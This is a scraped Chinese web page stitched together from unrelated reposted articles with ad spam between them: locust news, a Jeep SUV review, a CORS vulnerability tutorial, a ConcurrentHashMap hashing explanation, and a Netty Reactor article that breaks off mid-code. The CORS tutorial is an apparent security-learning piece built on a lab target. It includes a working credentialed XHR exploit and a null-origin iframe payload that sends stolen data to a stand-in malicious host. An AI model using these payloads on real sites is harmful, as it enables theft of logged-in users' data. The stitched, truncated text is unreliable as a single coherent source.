左打病毒右殺蝗蟲 印度和巴基斯坦面臨雙重危機

摘錄自2020年5月26日聯合報報導

正當全球各國疲於對抗新冠病毒之際,印度和巴基斯坦還多了一個頭痛問題:蝗災。成群蝗蟲侵襲印度20多個行政區,災區超過5萬公項,以拉賈斯坦、中央和古吉拉特三個邦最嚴重。

在巴基斯坦,這波蝗災是近20多年來最嚴重,巴國於2月宣布全國緊急狀態,俾路支省、信德省和旁遮普省有38%面積淪為蝗蟲繁殖的溫床。

向來敵對的印度和巴基斯坦,為了解決蝗害破天荒合作,自4月以來已開過九次視訊會議,亦有阿富汗和伊朗的專家加入。

生活環境
永續發展
土地利用
國際新聞
印度
巴基斯坦
蝗蟲
糧食

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※回頭車貨運收費標準

※推薦評價好的iphone維修中心

※超省錢租車方案

台中搬家遵守搬運三大原則,讓您的家具不再被破壞!

※推薦台中搬家公司優質服務,可到府估價

17萬起買個性SUV,這款美系SUV是不是真的比奇駿更值得買?

但對於指南者來說,2706mm的軸距絕對是碾壓它的2636mm軸距。日產逍客官方指導價:13。98-18。98萬此次指南者真正對手應該是逍客,但是1。4T的發動機註定是和2。0L發動機相對比的,動力方向相差無幾,不過在軸距上逍客以着10mm的距離小勝指南者。

前言

對於美系車,我們一向都有着這樣的認識,隔音好而且舒適,但價格水平卻一點都不接地氣。但是最近作為硬派SUV代表品牌的JEEp公布了最新款的指南者售價,價格竟然和一向走低價路線的日系車一樣,那麼這款jeep指南者究竟何方神聖?是否值得買呢?

Jeep指南者車身尺寸為4415*1819*1625,身材上要比起奇駿、CR-V這些對手要小上一圈。定位是一款緊湊型SUV,預售價為17到24萬之間。

外觀上非常硬朗霸氣,整體和大切諾基相似,採用了家族式的7孔進氣格柵,並且在視覺上和大燈融為一體,拉伸了整車的視覺寬度。

整車下部有着一圈塑料裝飾,可以避免小蹭刮后的補漆。車尾造型相對於以往車型來說要柔性不少,兩燈之間依然是大大的“jeep”的標識。

內飾方面則是一貫的jeep風格,比較的中庸沒有太大的特點,使用的是黑色以及米色相搭配的風格,更為適合家用以及溫馨。配置上可以看到有着自動空調、8.4英寸中控屏幕、电子手剎、一鍵啟動以及全景天窗。

在動力方面,指南者將採用的是1.4T渦輪增壓發動機或者2.4L自然吸氣發動機,前者將搭配7速雙離合變速箱,後者將搭載9AT變速箱,並且為四驅車型。

競爭對手

日產奇駿

官方指導價:18.18-26.78萬

日產奇駿在緊湊型SUV中是一個重量級选手,實力不容小覷,油耗以及空間表現優秀,不過隔音水平以及內飾用料稍顯一般。但對於指南者來說,2706mm的軸距絕對是碾壓它的2636mm軸距。

日產逍客

官方指導價:13.98-18.98萬

此次指南者真正對手應該是逍客,但是1.4T的發動機註定是和2.0L發動機相對比的,動力方向相差無幾,不過在軸距上逍客以着10mm的距離小勝指南者。

本田繽智

官方指導價:12.48-18.48萬

本田繽智是一款小型SUV,和指南者相比其實不公平,但是高配的1.8L車型價格已經和指南者相重合了,所以依然可以說是競爭對手。因為等級的關係,繽智的2610mm軸距,明顯不如指南者,而且1.8L發動機在動力上是不如1.4T發動機的,不過本田該發動機卻是更省油。

所以總的來說,這次指南者可以說是一款入門緊湊型SUV,是和着日產逍客這種定位相似。比起本田繽智以及昂科拉這類小型SUV要大上一圈,但是卻小於日產奇駿、本田C-RV這類緊湊型SUV。這次指南者上市,因為低配搭配的是1.4T發動機,售價難以下降,所以相當於是用着高配和別人競爭。這款指南者非常適合追求個性的年輕人使用,唯一就是價格應該再下降一點。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

CORS跨域漏洞學習

簡介

網站如果存CORS跨域漏洞就會有用戶敏感數據被竊取的風險。
跨域資源共享(CORS)是一種瀏覽器機制,可實現對位於給定域外部的資源的受控訪問。它擴展了同源策略(SOP)並增加了靈活性。但是,如果網站的CORS策略配置和實施不當,它也可能帶來基於跨域的攻擊。CORS並不是針對跨域攻擊(例如跨站點請求偽造(CSRF))的保護措施。

同源策略

這裏我們必須要了解一下同源策略:同源策略是一種限制性的跨域規範,它限制了網站與源域之外的資源進行交互的能力。起源於多年前的策略是針對潛在的惡意跨域交互(例如,一個網站從另一個網站竊取私人數據)而制定的。通常,它允許一個域向其他域發出請求,但不允許訪問響應。源由通信協議,域和端口號組成。
SOP是一個很好的策略,但是隨着Web應用的發展,網站由於自身業務的需求,需要實現一些跨域的功能,能夠讓不同域的頁面之間能夠相互訪問各自頁面的內容。

CORS跨域資源共享請求與響應

簡單請求

跨域資源共享(CORS)規範規定了在Web服務器和瀏覽器之間交換的標頭內容,該標頭內容限制了源域之外的域請求web資源。CORS規範標識了協議頭中Access-Control-Allow-Origin最重要的一組。當網站請求跨域資源時,服務器將返回此標頭,並由瀏覽器添加標頭Origin。
例如下面的來自站點 http://example.com 的網頁應用想要訪問 http://bar.com 的資源:
requests

1  GET /resources/public-data/ HTTP/1.1
2  Host: bar.com
3  User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
4  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5  Accept-Language: en-us,en;q=0.5
6  Accept-Encoding: gzip,deflate
7  Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
8  Connection: keep-alive
9  Referer: http://example.com/examples/access-control/simpleXSInvocation.html
10 Origin: http://example.com

response

11  HTTP/1.1 200 OK
12  Date: Mon, 01 Dec 2020 00:23:53 GMT
13  Server: Apache/2.0.61 
14  Access-Control-Allow-Origin: *
15  Keep-Alive: timeout=2, max=100
16  Connection: Keep-Alive
17  Transfer-Encoding: chunked
18  Content-Type: application/xml

第 1~9 行是請求首部。在第10行的請求頭 Origin 表明該請求來源於 http://example.com。
第 11~18 行是來自於 http://bar.com 的服務端響應。響應中攜帶了響應首部字段 Access-Control-Allow-Origin(第 14 行)。使用 Origin 和 Access-Control-Allow-Origin 就能完成最簡單的訪問控制。本例中,服務端返回的 Access-Control-Allow-Origin: * 表明,該資源可以被任意外域訪問。如果服務端僅允許來自 http://example.com 的訪問,該首部字段的內容如下:
Access-Control-Allow-Origin: http://example.com
如果跨域請求可以包含cookie的話,在服務器響應里應該有這一字段:
Access-Control-Allow-Credentials: true
這樣的話攻擊者就可以利用這個漏洞來竊取已經在這個網站上登錄了的用戶的信息(利用cookie)

漏洞利用

這裏以droabox靶場為例

這個接口會返回已登錄的用戶的信息數據,通過訪問該網頁的響應我們看到這裏可能存在CORS跨域資源共享漏洞

接下來我們就可以建立一個惡意的js代碼

<!-- cors.html -->
<!DOCTYPE html>
<html>
<head>
 <title>cors exp</title>
</head>
<body>
<script type="text/javascript">
function cors() {  
var xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function() {    
    if (this.status == 200) {    
    alert(this.responseText);     
    document.getElementById("demo").innerHTML = this.responseText;    
    }  
};  
xhttp.open("GET", "http://192.168.0.101/DoraBox/csrf/userinfo.php");  
xhttp.withCredentials = true;  
xhttp.send();
}
cors();
</script>
</body>
</html>

訪問這個頁面就可以獲取已登錄的用戶的信息

該惡意代碼首先定義一個函數cors,以get形式訪問目標網址,創建XMLHttpRequest對象為xhttp,通過ajax的onreadystatechange判斷請求狀態,如果請求已完成,且相應已就緒,則彈出返迴文本。

漏洞利用技巧

在之前我們了解了一些關於CORS跨域資源共享通信的一些字段含義,
CORS的漏洞主要看當我們發起的請求中帶有Origin頭部字段時,服務器的返回包帶有CORS的相關字段並且允許Origin的域訪問。
一般測試WEB漏洞都會用上BurpSuite,而BurpSuite可以實現幫助我們檢測這個漏洞。
首先是自動在HTTP請求包中加上Origin的頭部字段,打開BurpSuite,選擇Proxy模塊中的Options選項,找到Match and Replace這一欄,勾選Request header 將空替換為Origin:example.com的Enable框。
當我們進行測試時,看服務器響應頭字段里可以關注這幾個點:
最好利用的配置:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
可能存在可利用的配置:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
很好的條件但無法利用:
下面這組配置組合雖然看起來很完美但是CORS機制已經默認自動禁止了這種組合,算是CORS的最後一道防線
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
單一的情況
Access-Control-Allow-Origin:*
總結漏洞的原因:
1:CORS服務端的 Access-Control-Allow-Origin 設置為了 *,並且 Access-Control-Allow-Credentials 設置為false,這樣任何網站都可以獲取該服務端的任何數據了。
2:有一些網站的Access-Control-Allow-Origin他的設置並不是固定的,而是根據用戶跨域請求數據的Origin來定的。這時,不管Access-Control-Allow-Credentials 設置為了 true 還是 false。任何網站都可以發起請求,並讀取對這些請求的響應。意思就是任何一個網站都可以發送跨域請求來獲得CORS服務端上的數據。

其他可能利用漏洞的地方

解析Origin頭時出錯

一些支持從多個來源進行訪問的應用程序通過使用允許的來源白名單來實現。收到CORS請求后,會將提供的來源與白名單進行比較。如果來源出現在白名單中,那麼它會反映在Access-Control-Allow-Origin標題中,以便授予訪問權限。例如,web應用收到一個正常的請求:

GET /data HTTP/1.1
Host: bar.com
...
Origin: https://example.com

web應用根據其允許的來源列表檢查當前請求資源的來源,如果在列表中,則按以下方式反映該來源:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com

但在檢測來源是否存在於白名單時經常可能出現問題,一些網站可能會允許其所有的子域(包括尚未存在未來可能存在的子域)來進行訪問,或者允許其他網站的域以及其子域來訪問請求。這些請求一般都通過通配符或者正則表達式來完成,但是如果這其中出現錯誤可能就會導致給予其他未被授權的域訪問權限。例如:
例如,假設一個應用程序授予對以下列結尾的所有域的訪問權限:
examplecom
攻擊者可能可以通過註冊域來獲得訪問權限:
exeexample.com
或者,假設應用程序授予對所有以example.com開頭的域訪問權限,攻擊者就可以使用該域獲得訪問權限:
example.com.evil-user.net

利用相互受CORS信任的域來進行XSS

假如兩個互相受信任的源,如果其中一個網站存在XSS,攻擊者就可以利用XSS注入一些JavaScript代碼,利用這些代碼對信任其源的另一個網站進行敏感信息的獲取。
如果進行CORS請求時網站響應:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://vulnerable.com
Access-Control-Allow-Credentials: true

就可以利用XSS漏洞在vulnerable.com網站上使用下面的URL來通過檢索API密鑰:
https://vulnerable.com/?xss=<script>cors-stuff-here</script>

白名單中的null值

CORS協議的一個重要安全前提是跨域請求中的Origin頭不能被偽造,這個前提並不是總是成立。Origin頭最早被提出用於防禦CSRF攻擊,它的語法格式在RFC 6564中被定義。RFC 6564規定,如果請求來自隱私敏感上下文時,Origin頭的值應該為null,但是它卻沒有明確界定什麼是隱私敏感上下文。

CORS協議復用了Origin頭,但在CORS標準中同樣缺乏對跨域請求Origin中null明確的定義和限制。有些開發者在網站上配置信任 null,用於與本地file頁面共享數據,如下所示:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
在這種情況下,攻擊者可以使用各種技巧來生成跨域請求,該請求構造的Origin為null值。這將滿足白名單的要求,從而導致跨域訪問。例如,可以使用iframe以下格式的沙盒跨域請求來完成:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

這就意味着任何配置有Access-Control-Allow-Origin: nullAccess-Control-Allow-Credentials:true的網站等同於沒有瀏覽器SOP的保護,都可以被其他任意域以這種方式讀取內容。

CORS漏洞的自動化掃描

github上提供了一個關於掃描CORS配置漏洞的腳本
https://github.com/chenjj/CORScanner
CORScanner是一個python工具,旨在發現網站的CORS錯誤配置漏洞。它可以幫助網站管理員和滲透測試人員檢查他們針對的域/ URL是否具有不安全的CORS策略。

但是這個好像不能掃描特定接口的

預防CORS漏洞

CORS漏洞主要是由於配置錯誤而引起的。所以,預防漏洞變成了一個配置問題。下面介紹了一些針對CORS攻擊的有效防禦措施。

  1. 正確配置跨域請求
    如果Web資源包含敏感信息,則應在Access-Control-Allow-Origin標頭中正確指定來源。
  2. 只允許信任的網站
    看起來似乎很明顯,但是Access-Control-Allow-Origin中指定的來源只能是受信任的站點。特別是,使用通配符來表示允許的跨域請求的來源而不進行驗證很容易被利用,應該避免。
  3. 避免將null列入白名單
    避免使用標題Access-Control-Allow-Origin: null。來自內部文檔和沙盒請求的跨域資源調用可以指定null來源。應針對私有和公共服務器的可信來源正確定義CORS頭。
  4. 避免在內部網絡中使用通配符
    避免在內部網絡中使用通配符。當內部瀏覽器可以訪問不受信任的外部域時,僅靠信任網絡配置來保護內部資源是不夠的。
  5. CORS不能替代服務器端安全策略
    CORS定義了瀏覽器的行為,絕不能替代服務器端對敏感數據的保護-攻擊者可以直接從任何可信來源偽造請求。因此,除了正確配置的CORS之外,Web服務器還應繼續對敏感數據應用保護,例如身份驗證和會話管理。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※回頭車貨運收費標準

曹工說JDK源碼(3)–ConcurrentHashMap,Hash算法優化、位運算揭秘

hashcode,有點講究

什麼是好的hashcode,一般來說,一個hashcode,一般用int來表示,32位。

下面兩個hashcode,大家覺得怎麼樣?

0111 1111 1111 1111 1111 1111 1111 1111  ------A
1111 1111 1111 1111 1111 1111 1111 1111  ------B

只有第32位(從右到左)不一樣,好像也沒有所謂的好壞吧?

那,我們再想想,hashcode一般怎麼使用呢?在hashmap中,由數組+鏈表+紅黑樹組成,其中,數組乃重中之重,假設數組長度為2的n次方,(hashmap的數組,強制要求長度為2的n次方),這裏假設為8.

大家又知道,hashcode 對 8 取模,效果等同於 hashcode & (8 – 1)。

那麼,前面的A 和 (8 – 1)相與的結果如何呢?

0111 1111 1111 1111 1111 1111 1111 1111  ------A
0000 0000 0000 0000 0000 0000 0000 0111  ------ 8 -1
    相與
0000 0000 0000 0000 0000 0000 0000 0111  ------ 7

結果為7,也就是,會放進array[7]。

大家再看B的計算過程:

1111 1111 1111 1111 1111 1111 1111 1111  ------B
0000 0000 0000 0000 0000 0000 0000 0111  ------ 8 -1
    相與
0000 0000 0000 0000 0000 0000 0000 0111  ------ 7

雖然B的第32位為1,但是,奈何和我們相與的隊友,7,是個垃圾。

前面的高位,全是0。

ok,你懂了嗎,數組長度太小了,才8,導致前面有29位都是0;你可能覺得一般容量不可能這麼小,那假設容量為2的16次方,容量為65536,這下不是很小了吧,但即使如此,前面的16位也是0.

所以,問題明白了嗎,我們計算出來的hashcode,低位相同,高位不同;但是,因為和我們進行計算的隊友太過垃圾,導致我們出現了hash衝突。

ok,我們怎麼來解決這個問題呢?

我們能不能把高位也參与計算呢?自然,是可以的。

hashmap中如何優化

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

這裏,其實分了3個步驟:

  1. 計算hashcode,作為操作數1

    h = key.hashCode()
    
  2. 將第一步的hashcode,右移16位,作為操作數2

    h >>> 16
    
  3. 操作數1 和 操作數2 進行異或操作,得到最終的hashcode

還是拿前面的來算,

0111 1111 1111 1111 1111 1111 1111 1111  ------A
0000 0000 0000 0000 0111 1111 1111 1111   ----- A >>> 16
          異或(相同則為0,否則為1)
0111 1111 1111 1111 1000 0000 0000 0000    --- 2147450880  

這裏算出來的結果是 2147450880,再去對 7 進行與運算:

0111 1111 1111 1111 1000 0000 0000 0000    --- 2147450880  
0000 0000 0000 0000 0000 0000 0000 0111  ------ 8 -1
          與運算
0000 0000 0000 0000 0000 0000 0000 0000  ------ 0    

這裏的A,算出來,依然在array[0]。

再拿B來算一下:

1111 1111 1111 1111 1111 1111 1111 1111  ------ B
0000 0000 0000 0000 1111 1111 1111 1111   ----- B >>> 16
          異或(相同則為0,否則為1)
1111 1111 1111 1111 0000 0000 0000 0000    --- -65536
0000 0000 0000 0000 0000 0000 0000 0111  ------ 7   
         與運算
0000 0000 0000 0000 0000 0000 0000 0000  ------- 0    

最終算出來為0,所以,應該放在array[0]。

恩?算出來兩個還是衝突了,我只能說,我挑的数字真的牛逼,是不是該去買彩票啊。。

總的來說,大家可以多試幾組數,下邊提供下源代碼:

public class BinaryTest {
    public static void main(String[] args) {
        int a = 0b00001111111111111111111111111011;
        int b = 0b10001101111111111111110111111011;

        int i = tabAt(32, a);
        System.out.println("index for a:" + i);

        i = tabAt(32, b);
        System.out.println("index for b:" + i);

    }

    static final int tabAt(int  arraySize, int hash) {

        int h = hash;
        int finalHashCode = h ^ (h >>> 16);
        int i = finalHashCode & (arraySize - 1);

        return i;
    }
}

雖然說,我測試了幾個数字,還是有些衝突,但是,你把高16位弄進來參与計算,總比你不弄進來計算要好吧。

大家也可以看看hashmap中,hash方法的註釋:

/**
 * Computes key.hashCode() and spreads (XORs) higher bits of hash
 * to lower.  Because the table uses power-of-two masking, sets of
 * hashes that vary only in bits above the current mask will
 * always collide. (Among known examples are sets of Float keys
 * holding consecutive whole numbers in small tables.)  So we
 * apply a transform that spreads the impact of higher bits
 * downward. There is a tradeoff between speed, utility, and
 * quality of bit-spreading. Because many common sets of hashes
 * are already reasonably distributed (so don't benefit from
 * spreading), and because we use trees to handle large sets of
 * collisions in bins, we just XOR some shifted bits in the
 * cheapest possible way to reduce systematic lossage, as well as
 * to incorporate impact of the highest bits that would otherwise
 * never be used in index calculations because of table bounds.
 */

裏面提到了2點:

So we apply a transform that spreads the impact of higher bits downward.

所以,我們進行了一個轉換,把高位的作用利用起來。

we just XOR some shifted bits in the cheapest possible way to reduce systematic lossage, as well as

to incorporate impact of the highest bits that would otherwise never be used in index calculations because of table bounds.

我們僅僅異或了從高位移動下來的二進制位,用最經濟的方式,削減系統性能損失,同樣,因為數組大小的限制,導致高位在索引計算中一直用不到,我們通過這種轉換將其利用起來。

ConcurrentHashMap如何優化

在concurrentHashMap中,其主要是:

    final V putVal(K key, V value, boolean onlyIfAbsent) {
        if (key == null || value == null) throw new NullPointerException();
        int hash = spread(key.hashCode());

這裏主要是使用spread方法來計算hash值:

    static final int spread(int h) {
        return (h ^ (h >>> 16)) & HASH_BITS;
    }

大家如果要仔細觀察每一步的二進制,可以使用下面的demo:


    static final int spread(int h) {
        	// 1
            String s = Integer.toBinaryString(h);
            System.out.println("h:" + s);
    
        	// 2
            String lower16Bits = Integer.toBinaryString(h >>> 16);
            System.out.println("lower16Bits:" + lower16Bits);
    
        	// 3
            int temp = h ^ (h >>> 16);
            System.out.println("h ^ (h >>> 16):" + Integer.toBinaryString(temp));
    
        	// 4
            int result = (temp) & HASH_BITS;
            System.out.println("final:" + Integer.toBinaryString(result));
    
    
            return result;
        }

這裏和HashMap相比,多了點東西,也就是多出來了:

& HASH_BITS;

這個有什麼用處呢?

因為(h ^ (h >>> 16))計算出來的hashcode,可能是負數。這裏,和 HASH_BITS進行了相與:

static final int HASH_BITS = 0x7fffffff; // usable bits of normal node hash
1111 1111 1111 1111 1111 1111 1111 1111   假設計算出來的hashcode為負數,因為第32位為1
0111 1111 1111 1111 1111 1111 1111 1111       0x7fffffff
    進行相與
0111 ..................................    

​ 這裏,第32位,因為0x7fffffff的第32位,總為0,所以相與后的結果,第32位也總為0 ,所以,這樣的話,hashcode就總是正數了,不會是負數。

concurrentHashMap中,node的hashcode,為啥不能是負數

當hashcode為正數時,表示該哈希桶為正常的鏈表結構。

當hashcode為負數時,有幾種情況:

ForwardingNode

此時,其hash值為:

    static final int MOVED     = -1; // hash for forwarding nodes

當節點為ForwardingNode類型時(表示哈希表在擴容進行中,該哈希桶已經被遷移到了新的臨時hash表,此時,要get的話,需要去臨時hash表查找;要put的話,是不行的,會幫助擴容)

TreeBin

    static final int TREEBIN   = -2; // hash for roots of trees

表示,該哈希桶,已經轉了紅黑樹。

擴容時的位運算

    /**
     * Returns the stamp bits for resizing a table of size n.
     * Must be negative when shifted left by RESIZE_STAMP_SHIFT.
     */
    static final int resizeStamp(int n) {
        return Integer.numberOfLeadingZeros(n) | (1 << (RESIZE_STAMP_BITS - 1));
    }

這裏,假設,n為4,即,hashmap中數組容量為4.

  • 下面這句,求4的二進製表示中,前面有多少個0.

    Integer.numberOfLeadingZeros(n)

    表示為32位后,如下

    0000 0000 0000 0000, 0000 0000 0000 0100

    所以,前面有29個0,即,這裏的結果為29.

  • (1 << (RESIZE_STAMP_BITS – 1)

    這一句呢,其中RESIZE_STAMP_BITS 是個常量,為16. 相當於,把1 向左移動15位。

    二進製為:

    1000 0000 0000 0000   -- 1 << 15
    

最終結果:

0000 0000 0000 0000 0000 0000 0001 1101   -- 29
0000 0000 0000 0000 1000 0000 0000 0000   -- 1 << 15
進行或運算

0000 0000 0000 0000 1000 0000 0001 1101   --  相當於把29的第一位,變成了1,其他都沒變。

所以,最終結果是,

這個數,換算為10進制,為32972,是個正數。

這個數,有啥用呢?

在addCount函數中,當整個哈希表的鍵值對數量,超過sizeCtl時(一般為0.75 * 數組長度),就會觸發擴容。

java.util.concurrent.ConcurrentHashMap#addCount
    
int sc =  sizeCtl;
boolean bSumExteedSizeControl = newBaseCount >= (long) sc;
// 1
if (bContinue) {
    int rs = resizeStamp(n);
    // 2
    if (sc < 0) {
        if ((sc >>> RESIZE_STAMP_SHIFT) != rs || sc == rs + 1 ||
            sc == rs + MAX_RESIZERS || (nt = nextTable) == null ||
            transferIndex <= 0)
            break;
        if (U.compareAndSwapInt(this, SIZECTL, sc, sc + 1))
            transfer(tab, nt);
    }
    // 3
    else if (U.compareAndSwapInt(this, SIZECTL, sc,
                                   (rs << RESIZE_STAMP_SHIFT) + 2))
        transfer(tab, null);
    newBaseCount = sumCount();
} else {
    break;
}
  • 1處,如果擴容條件滿足

  • 2處,如果sc小於0,這個sc是啥,就是前面說的sizeCtl,此時應該是等於:0.75 * 數組長度,不可能為負數

  • 3處,將sc(此時為正數),cas修改為:

    (rs << RESIZE_STAMP_SHIFT) + 2)
    

    這個數有點意思了,rs就是前面我們的resizeStamp得到的結果。

    按照前面的demo,我們拿到的結果為:

    0000 0000 0000 0000 1000 0000 0001 1101   --  相當於把29的第一位,變成了1,其他都沒變。
        
    

    因為

    private static int RESIZE_STAMP_BITS = 16;
    private static final int RESIZE_STAMP_SHIFT = 32 - RESIZE_STAMP_BITS;
    

    所以,RESIZE_STAMP_SHIFT 為16.

    0000 0000 0000 0000 1000 0000 0001 1101   --  相當於把29的第一位,變成了1,其他都沒變。
    1000 0000 0001 1101 0000 0000 0000 0000 ---   左移16位,即   rs << RESIZE_STAMP_SHIFT
    1000 0000 0001 1101 0000 0000 0000 0010    -- (rs << RESIZE_STAMP_SHIFT) + 2)
    

    最終,這個數,第一位是 1,說明了,這個數,肯定是負數。

    大家如果看過其他人寫的資料,也就知道,當sizeCtl為負數時,表示正在擴容。

    所以,這裏

    if (U.compareAndSwapInt(this, SIZECTL, sc,
                                (rs << RESIZE_STAMP_SHIFT) + 2))
    

    這句話就是,如果當前線程成功地,利用cas,將sizeCtl從正數,變成負數,就可以進行擴容。

    擴容時,其他線程怎麼執行

    // 1
    if (bContinue) {
        int rs = resizeStamp(n);
        // 2
        if (sc < 0) {
            // 2.1
            if ((sc >>> RESIZE_STAMP_SHIFT) != rs || sc == rs + 1 ||
                sc == rs + MAX_RESIZERS || (nt = nextTable) == null ||
                transferIndex <= 0)
                break;
            // 2.2
            if (U.compareAndSwapInt(this, SIZECTL, sc, sc + 1))
                transfer(tab, nt);
        }
        // 3
        else if (U.compareAndSwapInt(this, SIZECTL, sc,
                                       (rs << RESIZE_STAMP_SHIFT) + 2))
            transfer(tab, null);
        newBaseCount = sumCount();
    } else {
        break;
    }
    

    此時,因為上面的線程觸發了擴容,sc已經變成了負數了,此時,新的線程進來,會判斷2處。

    2處是滿足的,會進入2.1處判斷,這裏的部分條件看不懂,大概是:擴容已經結束,就不再執行,直接break

    否則,進入2.2處,輔助擴容,同時,把sc變成sc + 1,增加擴容線程數。

總結

時間倉促,如有問題,歡迎指出。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

網頁設計最專業,超強功能平台可客製化

※產品缺大量曝光嗎?你需要的是一流包裝設計!

台中搬家遵守搬運三大原則,讓您的家具不再被破壞!

網絡編程-Netty-Reactor模型

目錄

  • # 摘要
  • 高性能服務器
  • Reactor模式
    • Reactor單線程模型設計
    • Reactor多線程模型設計
    • 主從Reactor多線程模型設計
    • Netty Reactor模型設計
  • 參考
  • 你的鼓勵也是我創作的動力
  • Posted by 微博@Yangsc_o
  • 原創文章,版權聲明:自由轉載-非商用-非衍生-保持署名 | Creative Commons BY-NC-ND 3.0

# 摘要

在前兩篇《快速理解Linux網絡I_O》、《java的I_O模型-BIO&NIO&AIO》兩邊中介紹了Linux下的I/O模型和java中的I/O模型,今天我們介紹Reactor模型,並探究Netty的實現

高性能服務器

在互聯網時代,我們使用的軟件基本上全是C/S架構,C/S架構的軟件一個明顯的好處就是:只要有網絡,你可以在任何地方干同一件事。C/S架構可以抽象為如下模型:

  • C就是Client(客戶端),上面的B是Browser(瀏覽器)
  • S就是Server(服務器):服務器管理某種資源,並且通過操作這種資源來為它的客戶端提供某種服務

那服務器如何能快速的處理用戶的請求呢?在我看來高性能服務器至少要滿足如下幾個需求:

  • 效率高:既然是高性能,那處理客戶端請求的效率當然要很高了
  • 高可用:不能隨便就掛掉了
  • 編程簡單:基於此服務器進行業務開發需要足夠簡單
  • 可擴展:可方便的擴展功能
  • 可伸縮:可簡單的通過部署的方式進行容量的伸縮,也就是服務需要無狀態

而滿足如上需求的一個基礎就是高性能的IO!

Reactor模式

什麼是Reactor模式?

兩種I/O多路復用模式:Reactor和Proactor,兩個與事件分離器有關的模式是Reactor和Proactor。Reactor模式採用同步IO,而Proactor採用異步IO。

在Reactor中,事件分離器負責等待文件描述符或socket為讀寫操作準備就緒,然後將就緒事件傳遞給對應的處理器,最後由處理器負責完成實際的讀寫工作。

在Proactor模式中,處理器–或者兼任處理器的事件分離器,只負責發起異步讀寫操作。IO操作本身由操作系統來完成。傳遞給操作系統的參數需要包括用戶定義的數據緩衝區地址和數據大小,操作系統才能從中得到寫出操作所需數據,或寫入從socket讀到的數據。事件分離器捕獲IO操作完成事件,然後將事件傳遞給對應處理器。

說人話的方式理解:

  • reactor:能收了你跟俺說一聲。
  • proactor: 你給我收十個字節,收好了跟俺說一聲。

Doug Lea是這樣類比的

  • Reactor通過調度適當的處理程序來響應IO事件;
  • 處理程序執行非阻塞操作
  • 通過將處理程序綁定到事件來管理;

Reactor單線程模型設計

單線程版本Java NIO的支持:

  • Channels:與支持非阻塞讀取的文件,套接字等的連接

  • Buffers:類似於數組的對象,可由Channels直接讀取或寫入

  • Selectors:通知一組通道中哪一個有IO事件

  • SelectionKeys:維護IO事件狀態和綁定

  • Reactor 代碼如下

public class Reactor implements Runnable {
    final Selector selector;
    final ServerSocketChannel serverSocketChannel;

    public Reactor(int port) throws IOException {
        selector = Selector.open();
        serverSocketChannel = ServerSocketChannel.open();
        serverSocketChannel.socket().bind(new InetSocketAddress(port));
        serverSocketChannel.configureBlocking(false);
        SelectionKey key = serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);
        key.attach(new Acceptor());
    }

    @Override
    public void run() {
        while (!Thread.interrupted()) {
            try {
                selector.select();
                Set<SelectionKey> selectionKeys = selector.selectedKeys();
                for (SelectionKey selectionKey : selectionKeys) {
                    dispatch(selectionKey);
                }
                selectionKeys.clear();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    private void dispatch(SelectionKey selectionKey) {
        Runnable run = (Runnable) selectionKey.attachment();
        if (run != null) {
            run.run();
        }
    }

    class Acceptor implements Runnable {
        @Override
        public void run() {
            try {
                SocketChannel channel = serverSocketChannel.accept();
                if (channel != null) {
                    new Handler(selector, channel);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    public static void main(String[] args) throws IOException {
        new Thread(
                new Reactor(1234)
        ).start();
    }

}
  • Handler代碼如下:
public class Handler implements Runnable{
    private final static int DEFAULT_SIZE = 1024;
    private final SocketChannel socketChannel;
    private final SelectionKey seletionKey;
    private static final int READING = 0;
    private static final int SENDING = 1;
    private int state = READING;

    ByteBuffer inputBuffer = ByteBuffer.allocate(DEFAULT_SIZE);
    ByteBuffer outputBuffer = ByteBuffer.allocate(DEFAULT_SIZE);

    public Handler(Selector selector, SocketChannel channel) throws IOException {
        this.socketChannel = channel;
        socketChannel.configureBlocking(false);
        this.seletionKey = socketChannel.register(selector, 0);
        seletionKey.attach(this);
        seletionKey.interestOps(SelectionKey.OP_READ);
        selector.wakeup();
    }

    @Override
    public void run() {
        if (state == READING) {
            read();
